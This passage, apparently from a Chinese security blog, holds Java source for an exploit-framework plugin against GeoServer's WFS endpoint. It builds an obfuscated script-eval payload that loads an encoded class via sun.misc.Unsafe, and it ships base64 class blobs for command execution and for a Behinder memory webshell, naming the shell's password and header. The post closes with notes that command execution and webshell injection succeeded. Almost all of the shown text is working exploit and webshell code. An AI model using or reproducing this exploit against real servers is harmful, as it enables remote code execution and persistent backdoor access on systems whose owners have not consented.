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");
        memshellcontent.setRequired(true);  // 必填
        args.add(memshellcontent);

        argsUsageBinder.setArgsList(args);
        return argsUsageBinder;
    }

    @Override
    public void doExploit(ITarget iTarget, Map<String, Object> map, IResultOutput iResultOutput) {
        String padding1 = """
                <wfs:GetPropertyValue
                  service='WFS'
                  version='2.0.0'
                  xmlns:topp='http://www.openplans.org/topp'
                  xmlns:fes='http://www.opengis.net/fes/2.0'
                  xmlns:wfs='http://www.opengis.net/wfs/2.0'
                >
                  <wfs:Query typeNames='tiger:poly_landmarks' />
                  <wfs:valueReference
                  >ev<!--!!!-->al(get<!--!!!-->Engin<!--!!!-->eByN<!--!!!-->ame(jav<!--!!!-->ax.scr<!--!!!-->ipt.Scrip<!--!!!-->tEngin<!--!!!-->eManager.new(),'js'),'
                """;
        String padding2 = """
                ";
                var bt;
                try {
                    bt = ja<!--!!!-->va.la<!--!!!-->ng.Cla<!--!!!-->ss.for<!--!!!-->Name("sun.misc.BAS<!--!!!-->E64Decoder").newIn<!--!!!-->stance().dec<!--!!!-->odeB<!--!!!-->uffer(str);
                } catch (e) {
                    bt = jav<!--!!!-->a.util.Bas<!--!!!-->e64.getDe<!--!!!-->coder().de<!--!!!-->code(str);
                }
                var theU<!--!!!-->nsafe = ja<!--!!!-->va.la<!--!!!-->ng.Cl<!--!!!-->ass.forN<!--!!!-->ame("sun.m<!--!!!-->isc.Unsafe").getD<!--!!!-->eclared<!--!!!-->Field("theUn<!--!!!-->safe");
                the<!--!!!-->Unsafe.setAc<!--!!!-->cessible(true);
                uns<!--!!!-->afe = the<!--!!!-->Unsafe.get(null);
                uns<!--!!!-->afe.defi<!--!!!-->neAnon<!--!!!-->ymousClass(ja<!--!!!-->va.lang.Class.for<!--!!!-->Name("java.lang.Class"), bt, null).newI<!--!!!-->nstance();
                ')</wfs:valueReference>
                </wfs:GetPropertyValue>
                """;
        String proxyHost = "127.0.0.1";
        int proxyPort = 8083;
        // 创建代理对象
        Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(proxyHost, proxyPort));
        String address = iTarget.getAddress();
        try {
            String command = (String) map.get("Command");
            String memshellflaglocal = (String) map.get("memshellflag");
            if(memshellflaglocal.contains("true")){
                String memshell = (String) map.get("memshellcontent");
                String payload = padding1 + "var str=\"" + memshell + padding2;
                String targetUrl = address + "/geoserver/wfs";
                URL url = new URL(targetUrl);
                HttpURLConnection conn = (HttpURLConnection) url.openConnection(proxy);
                conn.setRequestMethod("POST");
                conn.setRequestProperty("Content-Type", "application/xml; utf-8");
                conn.setRequestProperty("Accept", "application/xml");
                conn.setDoOutput(true);
                conn.setConnectTimeout(5000);  // 连接超时 5秒
                conn.setReadTimeout(10000);    // 读取超时 10秒

                try (OutputStream os = conn.getOutputStream()) {
                    byte[] input = payload.getBytes("utf-8");
                    os.write(input, 0, input.length);
                }
                // 获取响应状态码
                int statusCode = conn.getResponseCode();
                // 读取响应内容
                String responseContent;
                try (BufferedReader br = new BufferedReader(
                        new InputStreamReader(
                                (statusCode >= 200 && statusCode < 300) ?
                                        conn.getInputStream() : conn.getErrorStream(),
                                "utf-8"))) {
                    StringBuilder response = new StringBuilder();
                    String line;
                    while ((line = br.readLine()) != null) {
                        response.append(line);
                    }
                    responseContent = response.toString();
                    if (statusCode == 200 && responseContent.contains("ClassCastException")){
                        iResultOutput.successPrintln("内存马注入成功,默认内存马为冰蝎4 Listener内存马,密码:Pytehvgju 请求头: User-Agent: Vfjykwj ");
                    }else{
                        iResultOutput.failPrintln("执行失败了~");
                    }
                }
            }
            else{

                String cmdClass = "yv66vgAAADQAzwgAVQoAGABWCgA+AFcKAFgAWQgAWgoAFgBbCABcCgAWAF0KAF4AXwoAXgBgCABhCABiCABjCABkCgBlAGYKAGUAZwoAGABoCgAWAGkIAGoKAB0AawgAbAcAbQoAFgBuBwBvCgBwAHEIAHIIAHMIAHQHAHUKAD4AdggAdwcAeAoAPgB5CgAgAHoKACAAewoAIAB8BwB9CAB+CgB/AIAKAB0AgQgAggoAHQCDCACECACFCACGCACHCgCIAIkKAIgAigoAiwCMBwCNCgAyAI4IAI8KADIAkAgAkQoAMgCSBwCTCgA4AFYKADgAlAoAMgCVCgA4AJYKACUAlwcAmAEAEGdldFJlcUhlYWRlck5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAY8aW5pdD4BAAMoKVYBAANydW4BAA1TdGFja01hcFRhYmxlBwCYBwCZBwCaBwBvBwBtBwB9AQAEZXhlYwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7BwB1BwCbBwCcBwCNAQAKU291cmNlRmlsZQEADmdlb3NlcnZlci5qYXZhAQADY21kDABDAEQMAEUARAcAmQwAnQCeAQAQamF2YS5sYW5nLlRocmVhZAwAnwCgAQAMdGhyZWFkTG9jYWxzDAChAKIHAJoMAKMApAwApQCmAQAkamF2YS5sYW5nLlRocmVhZExvY2FsJFRocmVhZExvY2FsTWFwAQAFdGFibGUBACpqYXZhLmxhbmcuVGhyZWFkTG9jYWwkVGhyZWFkTG9jYWxNYXAkRW50cnkBAAV2YWx1ZQcApwwAqACpDAClAKoMAKsArAwArQBAAQAnb3JnLmVjbGlwc2UuamV0dHkuc2VydmVyLkh0dHBDb25uZWN0aW9uDACuAK8BAA5nZXRIdHRwQ2hhbm5lbAEAD2phdmEvbGFuZy9DbGFzcwwAsACxAQAQamF2YS9sYW5nL09iamVjdAcAsgwAswC0AQALZ2V0UmVzcG9uc2UBAApnZXRSZXF1ZXN0AQAJZ2V0SGVhZGVyAQAQamF2YS9sYW5nL1N0cmluZwwAPwBAAQAJZ2V0V3JpdGVyAQATamF2YS9pby9QcmludFdyaXRlcgwATQBODAC1ALYMALcARAwAuABEAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAB29zLm5hbWUHALkMALoATgwAuwBAAQADd2luDAC8AL0BAAcvYmluL3NoAQACLWMBAAdjbWQuZXhlAQACL2MHAL4MAL8AwAwATQDBBwDCDADDAMQBABFqYXZhL3V0aWwvU2Nhbm5lcgwAQwDFAQACXGEMAMYAxwEAAAwAyADJAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAMoAywwAzABADADNAEAMAM4AQAEACWdlb3NlcnZlcgEAEGphdmEvbGFuZy9UaHJlYWQBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAE1tMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAF2phdmEvbGFuZy9yZWZsZWN0L0FycmF5AQAJZ2V0TGVuZ3RoAQAVKExqYXZhL2xhbmcvT2JqZWN0OylJAQAnKExqYXZhL2xhbmcvT2JqZWN0O0kpTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAHZ2V0TmFtZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAARuZXh0AQAIdG9TdHJpbmcBAApnZXRNZXNzYWdlACEAPgAYAAAAAAAEAAIAPwBAAAEAQQAAABsAAQABAAAAAxIBsAAAAAEAQgAAAAYAAQAAAAkAAQBDAEQAAQBBAAAAKQABAAEAAAAJKrcAAiq3AAOxAAAAAQBCAAAADgADAAAADAAEAA0ACAAOAAIARQBEAAEAQQAAAhoABgAPAAABQbgABEwSBbgABhIHtgAITSwEtgAJLCu2AApOEgu4AAY6BBkEEgy2AAg6BRkFBLYACRkFLbYACjoGEg24AAY6BxkHEg62AAg6CBkIBLYACQE6CQM2ChUKGQa4AA+iADgZBhUKuAAQOgsZC8YAJBkIGQu2AAo6CRkJxgAWGQm2ABG2ABISE7YAFJkABqcACYQKAaf/xBkJtgAREhUDvQAWtgAXGQkDvQAYtgAZOgoZCrYAERIaA70AFrYAFxkKA70AGLYAGToLGQq2ABESGwO9ABa2ABcZCgO9ABi2ABk6DBkMtgAREhwEvQAWWQMSHVO2ABcZDAS9ABhZAyq3AB5TtgAZwAAdOg0ZDcYANBkLtgAREh8DvQAWtgAXGQsDvQAYtgAZwAAgOg4ZDioZDbcAIbYAIhkOtgAjGQ62ACSnAARMsQABAAABPAE/ACUAAgBCAAAAfgAfAAAAEgAEABMADwAUABQAFQAaABYAIQAXACoAGAAwABkAOAAaAD8AGwBIABwATgAdAFEAHwBeACAAZwAhAGwAIgB1ACMAigAkAI0AHwCTACkArAAqAMUAKwDeACwBBgAtAQsALgEnAC8BMgAwATcAMQE8ADQBPwAzAUAANgBGAAAAOwAG/wBUAAsHAEcHAEgHAEkHAEoHAEsHAEkHAEoHAEsHAEkHAEoBAAA4+gAF/wCoAAEHAEcAAEIHAEwAAAIATQBOAAEAQQAAASUABAAIAAAAlwQ9Eia4ACdOLcYAES22ACgSKbYAKpkABQM9HJkAGAa9AB1ZAxIrU1kEEixTWQUrU6cAFQa9AB1ZAxItU1kEEi5TWQUrUzoEuAAvGQS2ADC2ADE6BbsAMlkZBbcAMxI0tgA1OgYSNjoHGQa2ADeZAB+7ADhZtwA5GQe2ADoZBrYAO7YAOrYAPDoHp//fGQewTSxOLbYAPbAAAQAAAI4AjwAlAAIAQgAAADIADAAAADoAAgA7AAgAPAAYAD0AGgBAAEcAQQBUAEIAZABFAIwASACPAEkAkABKAJIASwBGAAAAPAAG/QAaAQcATxhRBwBQ/wAiAAgHAEcHAE8BBwBPBwBQBwBRBwBSBwBPAAAj/wACAAIHAEcHAE8AAQcATAABAFMAAAACAFQ=";
                String cmdPayload = padding1 + "var str=\"" + cmdClass + padding2;
                String targetUrl = address + "/geoserver/wfs";
                URL url = new URL(targetUrl);
                HttpURLConnection conn = (HttpURLConnection) url.openConnection(proxy);
                conn.setRequestMethod("POST");
                conn.setRequestProperty("Content-Type", "application/xml; utf-8");
                conn.setRequestProperty("Accept", "application/xml");
                conn.setRequestProperty("cmd",command);
                conn.setDoOutput(true);
                conn.setConnectTimeout(5000);  // 连接超时 5秒
                conn.setReadTimeout(10000);    // 读取超时 10秒

                OutputStream os = conn.getOutputStream();
                byte[] input = cmdPayload.getBytes("utf-8");
                os.write(input, 0, input.length);
                // 获取响应状态码
                int statusCode = conn.getResponseCode();
                if (statusCode == 200) {
                    // 读取响应内容
                    String responseContent;
                    BufferedReader br = new BufferedReader(new InputStreamReader((statusCode >= 200) ? conn.getInputStream() : conn.getErrorStream(), "utf-8"));
                    StringBuilder response = new StringBuilder();
                    String line;
                    while ((line = br.readLine()) != null) {
                        response.append(line);
                    }
                    responseContent = response.toString();
                    iResultOutput.successPrintln(responseContent);
                }
                else {
                    iResultOutput.failPrintln("执行异常了1~");
                }


            }

        }catch (Exception e){
            iResultOutput.failPrintln("执行异常了1~");
        }
    }
}

使用maven构建项目进行测试。

命令执行成功

image.png

内存马成功

image.png

image.png

猜您喜欢

3文章个数(个)
1本月更新(个)
1本周更新(个)
1今日更新(个)